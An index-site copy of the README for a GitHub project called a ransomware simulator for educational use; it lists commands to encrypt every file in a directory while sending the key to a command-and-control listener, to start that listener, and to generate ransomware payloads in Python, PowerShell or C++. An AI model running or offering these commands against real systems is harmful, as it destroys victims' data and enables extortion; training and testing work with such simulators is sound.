An open API service indexing awesome lists of open source software.

https://github.com/cybersecurityup/ransimulation

Simple Ransomware Simulator
https://github.com/cybersecurityup/ransimulation

Last synced: about 1 year ago
JSON representation

Simple Ransomware Simulator

Awesome Lists containing this project

README

          

# RanSimulation

This project simulates a ransomware scenario for educational purposes. It includes file encryption, decryption, payload generation, and communication with a Command and Control (C2) server (In development).

## **Setup**

1. Clone the repository:
```bash
git clone https://github.com/CyberSecurityUP/RanSimulation.git
cd RansomwareSimulator
```

2. Install required dependencies:
```bash
pip install cryptography
```

3. Ensure Python 3.8+ is installed on your system.

---

## **Usage**

### **1. Encrypt Files**
Encrypt all files in the current directory and send the encryption key to the specified C2 server:
```bash
python3 main.py --encrypt --ip --port
```

Example:
```bash
python3 main.py --encrypt --ip 127.0.0.1 --port 4444
```

### **2. Decrypt Files**
Decrypt all files in the current directory using the provided encryption key:
```bash
python3 main.py --decrypt --key
```

Example:
```bash
python3 main.py --decrypt --key "YOUR_ENCRYPTION_KEY"
```

### **3. Start a C2 Listener**
Start a C2 listener to receive encryption keys from clients:
```bash
python3 main.py --listen --ip --port
```

Example:
```bash
python3 main.py --listen --ip 0.0.0.0 --port 4444
```

### **4. Generate Payloads**
Generate a ransomware payload in Python, PowerShell, or C++:
```bash
python3 main.py --generate --ip --port
```

Example:
```bash
python3 main.py --generate python --ip 127.0.0.1 --port 4444
```

Supported languages:
- `python`
- `powershell`
- `c++`

---